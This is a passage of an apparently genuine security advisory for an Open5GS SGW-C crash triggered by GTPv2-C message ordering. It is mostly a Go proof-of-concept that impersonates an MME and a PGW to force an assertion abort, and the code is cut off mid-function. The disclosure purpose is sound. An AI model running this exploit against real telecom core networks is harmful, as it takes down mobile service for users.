| 설명 | ### Description
SGW-C can be forced to **abort (SIGABRT / core dumped)** by triggering the **UpdateBearerResponse** handling path associated with a **Bearer Resource Command** transaction (i.e., when `s11_xact->xid & OGS_GTP_CMD_XACT_ID` is set).
In this CMD flow, the bearer identifier used for lookup is derived from the S5-C transaction association (`s5c_xact->data`). If the session/bearer is removed (e.g., via **DeleteSessionRequest/Response**) while the Bearer Resource Command/Update Bearer procedure is still in flight, the subsequent **UpdateBearerResponse** can cause the bearer lookup to return `NULL`. The handler then hits `ogs_assert(bearer)` and crashes SGW-C. This results in a **remote DoS** achievable by controlling message ordering/timing across S11 and S5-C.
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
// Vuln-PB3-04 PoC: UpdateBearerResponse triggers ogs_assert(bearer) in IF branch
// Target: Open5GS SGW-C sgwc_s11_handle_update_bearer_response (line 1064)
// Branch: if (s11_xact->xid & OGS_GTP_CMD_XACT_ID) - Bearer Resource Command flow
//
// Key difference from PB3-07:
// - PB3-04: Uses Bearer Resource Command, bearer_id from s5c_xact->data, IF branch
// - PB3-07: Uses direct Update Bearer Request, bearer_id from s11_xact->data, ELSE branch
//
// Attack Flow:
// 1) Act as MME: CreateSessionRequest -> SGW-C
// 2) Act as PGW: CreateSessionResponse -> SGW-C
// 3) Act as MME: BearerResourceCommand -> SGW-C (sets CMD_XACT_ID flag)
// 4) Act as PGW: UpdateBearerRequest -> SGW-C (response to BearerResourceCommand)
// 5) Act as MME: after receiving UpdateBearerRequest, send DeleteSessionRequest
// 6) Act as PGW: DeleteSessionResponse -> SGW-C
// 7) Act as MME: UpdateBearerResponse -> SGW-C (bearer lookup in IF branch returns NULL)
package main
import (
"flag"
"fmt"
"log"
"math/rand"
"net"
"strings"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
"github.com/wmnsk/go-gtp/gtpv2/message"
)
const (
// GTPv2-C Message Types
MsgTypeBearerResourceCommand uint8 = 68
MsgTypeBearerResourceFailureIndication uint8 = 69
// IE Types
IETypeLinkedEBI uint8 = 73
IETypeProcedureTransactionID uint8 = 100
IETypeTrafficAggregateDescription uint8 = 85
)
type bearerReqInfo struct {
seq uint32
ebi uint8
}
type s5cInfo struct {
sgwTeid uint32
ebi uint8
}
func main() {
sgwcS11Addr := flag.String("sgwc-s11", "127.0.0.2:2123", "SGW-C S11 address")
sgwcS5cAddr := flag.String("sgwc-s5c", "127.0.0.2:2123", "SGW-C S5-C address")
mmeAddr := flag.String("mme", "127.0.0.1:2123", "Local MME bind address")
pgwAddr := flag.String("pgw", "127.0.0.4:2123", "Local PGW-C bind address")
imsi := flag.String("imsi", "001010000000001", "IMSI for CreateSessionRequest")
apn := flag.String("apn", "internet", "APN for CreateSessionRequest")
mcc := flag.String("mcc", "001", "Serving network MCC")
mnc := flag.String("mnc", "01", "Serving network MNC")
ebi := flag.Uint("ebi", 5, "Default EPS Bearer ID")
paa := flag.String("paa", "10.60.0.10", "PAA for CreateSessionResponse")
cleanupDelay := flag.Duration("cleanup-delay", 1500*time.Millisecond, "Delay after DeleteSessionRequest before sending UpdateBearerResponse")
waitTimeout := flag.Duration("wait-timeout", 6*time.Second, "Timeout for each wait step")
mmeTeid := flag.Uint("mme-teid", 0, "MME S11 TEID to advertise (0=random)")
pgwTeid := flag.Uint("pgw-teid", 0, "PGW S5-C TEID to advertise in CSR (0=random)")
flag.Parse()
rand.Seed(time.Now().UnixNano())
mmeIP, err := hostFromAddr(*mmeAddr)
if err != nil {
log.Fatalf("parse MME addr: %v", err)
}
pgwIP, err := hostFromAddr(*pgwAddr)
if err != nil {
log.Fatalf("parse PGW addr: %v", err)
}
log.Println("=== Vuln-PB3-04 PoC: Bearer Resource Command -> UpdateBearerResponse (IF branch) ===")
log.Printf("SGW-C S11: %s", *sgwcS11Addr)
log.Printf("SGW-C S5C: %s", *sgwcS5cAddr)
log.Printf("MME: %s", *mmeAddr)
log.Printf("PGW: %s", *pgwAddr)
log.Println("Target: ogs_assert(bearer) in IF branch (s11_xact->xid & OGS_GTP_CMD_XACT_ID)")
mmeConn := listenUDP(*mmeAddr, "MME")
defer mmeConn.Close()
pgwConn := listenUDP(*pgwAddr, "PGW")
defer pgwConn.Close()
sgwcS11Raddr, err := net.ResolveUDPAddr("udp", *sgwcS11Addr)
if err != nil {
log.Fatalf("resolve SGW-C S11 addr: %v", err)
}
sgwcS5cRaddr, err := net.ResolveUDPAddr("udp", *sgwcS5cAddr)
if err != nil {
log.Fatalf("resolve SGW-C S5C addr: %v", err)
}
sgwS11TeidCh := make(chan uint32, 1)
updateReqCh := make(chan bearerReqInfo, 1)
sgwS5cCh := make(chan s5cInfo, 1)
mmeCtrlTeid := randNonZeroUint32(uint32(*mmeTeid))
pgwCtrlTeid := randNonZeroUint32(uint32(*pgwTeid))
go startMMEServer(mmeConn, sgwS11TeidCh, updateReqCh)
go startPGWServer(pgwConn, pgwIP, *paa, pgwCtrlTeid, sgwS5cCh, sgwcS5cRaddr, uint8(*ebi))
time.Sleep(500 * time.Millisecond)
// Step 1: Create Session
log.Println("[1] Send CreateSessionRequest (MME -> SGW-C)")
if err := sendCreateSessionRequest(mmeConn, sgwcS11Raddr, *imsi, *apn, *mcc, *mnc, mmeIP, pgwIP, mmeCtrlTeid, pgwCtrlTeid, uint8(*ebi)); err != nil {
log.Fatalf("send CSR: %v", err)
}
sgwS11Teid := waitUint32("SGW S11 TEID", sgwS11TeidCh, *waitTimeout)
s5c := waitS5cInfo(sgwS5cCh, *waitTimeout)
log.Printf("[2] SGW S11 TEID=0x%x, SGW S5C TEID=0x%x, EBI=%d", sgwS11Teid, s5c.sgwTeid, s5c.ebi)
// Step 3: Send Bearer Resource Command (this sets OGS_GTP_CMD_XACT_ID flag)
log.Println("[3] Send BearerResourceCommand (MME -> SGW-C) - Sets CMD_XACT_ID flag")
if err := sendBearerResourceCommand(mmeConn, sgwcS11Raddr, sgwS11Teid, s5c.ebi); err != nil {
log.Fatalf("send BearerResourceCommand: %v", err)
}
// Wait for PGW to send UpdateBearerRequest (as response to BearerResourceCommand)
// and MME to receive it
updateReq := waitBearerReq("UpdateBearerRequest", updateReqCh, *waitTimeout)
log.Printf("[4] Got UpdateBearerRequest seq=0x%x ebi=%d (CMD flow)", updateReq.seq, updateReq.ebi)
// Step 5: Delete Session to remove bearer
log.Println("[5] Send DeleteSessionRequest to remove bearer (MME -> SGW-C)")
if err := sendDeleteSessionRequest(mmeConn, sgwcS11Raddr, sgwS11Teid, s5c.ebi); err != nil {
log.Fatalf("send DeleteSessionRequest: %v", err)
}
// Wait for delete to complete
time.Sleep(*cleanupDelay)
// Step 7: Send UpdateBearerResponse - this triggers the vulnerability
// The s11_xact has OGS_GTP_CMD_XACT_ID set because it was associated with BearerResourceCommand
// The bearer_id is retrieved from s5c_xact->data, which is now stale
log.Println("[6] Send UpdateBearerResponse (MME -> SGW-C) - Triggers IF branch crash")
if err := sendUpdateBearerResponse(mmeConn, sgwcS11Raddr, sgwS11Teid, updateReq.seq, updateReq.ebi); err != nil {
log.Fatalf("send UpdateBearerResponse: %v", err)
}
log.Println("[*] Sent UpdateBearerResponse with CMD_XACT_ID association.")
log.Println("[*] Expected: ogs_assert(bearer) crash in IF branch (s11-handler.c:1064)")
time.Sleep(2 * time.Second)
}
func startMMEServer(conn *net.UDPConn, sgwS11TeidCh chan<- uint32, updateReqCh chan<- bearerReqInfo) {
log.Printf("[MME] Listening on %s", conn.LocalAddr())
buf := make([]byte, 4096)
for {
n, raddr, err := conn.ReadFromUDP(buf)
if err != nil {
log.Printf("[MME] read error: %v", err)
continue
}
msg, err := message.Parse(buf[:n])
if err != nil {
log.Printf("[MME] parse error: %v", err)
continue
}
switch m := msg.(type) {
case *message.CreateSessionResponse:
sgwTeid := uint32(0)
if m.SenderFTEIDC != nil {
if v, err := m.SenderFTEIDC.TEID(); err == nil {
sgwTeid = v
}
}
if sgwTeid != 0 {
select {
case sgwS11TeidCh <- sgwTeid:
default:
}
log.Printf("[MME] CreateSessionResponse from %s, SGW S11 TEID=0x%x", raddr, sgwTeid)
}
case *message.UpdateBearerRequest:
ebi := ebiFromBearerContexts(m.BearerContexts, 5)
req := bearerReqInfo{seq: m.Sequence(), ebi: ebi}
select {
case updateReqCh <- req:
default:
}
log.Printf("[MME] UpdateBearerRequest from %s seq=0x%x ebi=%d (CMD flow)", raddr, req.seq, req.ebi)
case *message.DeleteSessionResponse:
log.Printf("[MME] DeleteSessionResponse from %s", raddr)
case *message.Generic:
// Handle Bearer Resource Failure Indication (type 69)
if m.Header.Type == MsgTypeBearerResourceFailureIndication {
log.Printf("[MME] BearerResourceFailureIndication from %s (expected if PGW not ready)", raddr)
} else {
log.Printf("[MME] recv Generic(%d) from %s", m.Header.Type, raddr)
}
default:
log.Printf("[MME] recv %s from %s", msg.MessageTypeName(), raddr)
}
}
}
func startPGWServer(conn *net.UDPConn, pgwIP, paa string, pgwCtrlTeid uint32, sgwS5cCh chan<- s5cInfo,
sgwcS5cRaddr *net.UDPAddr, defaultEbi uint8) {
log.Printf("[PGW] Listening on %s", conn.LocalAddr())
pgwUteid := randNonZeroUint32(0)
var sgwTeid uint32
var sgwS5cTeid uint32
var brcReceived bool
var brcSeq uint32 // Store BRC sequence for UpdateBearerRequest
var storedEbi uint8 = defaultEbi
buf := make([]byte, 4096)
for {
n, raddr, err := conn.ReadFromUDP(buf)
if err != nil {
log.Printf("[PGW] read error: %v", err)
continue
}
msg, err := message.Parse(buf[:n])
if err != nil {
log.Printf("[PGW] parse error: %v", err)
continue
}
switch m := msg.(type) {
case *message.CreateSessionRequest:
if m.SenderFTEIDC != nil {
if v, err := m.SenderFTEIDC.TEID(); err == nil {
sgwTeid = v
sgwS5cTeid = v
}
} |
|---|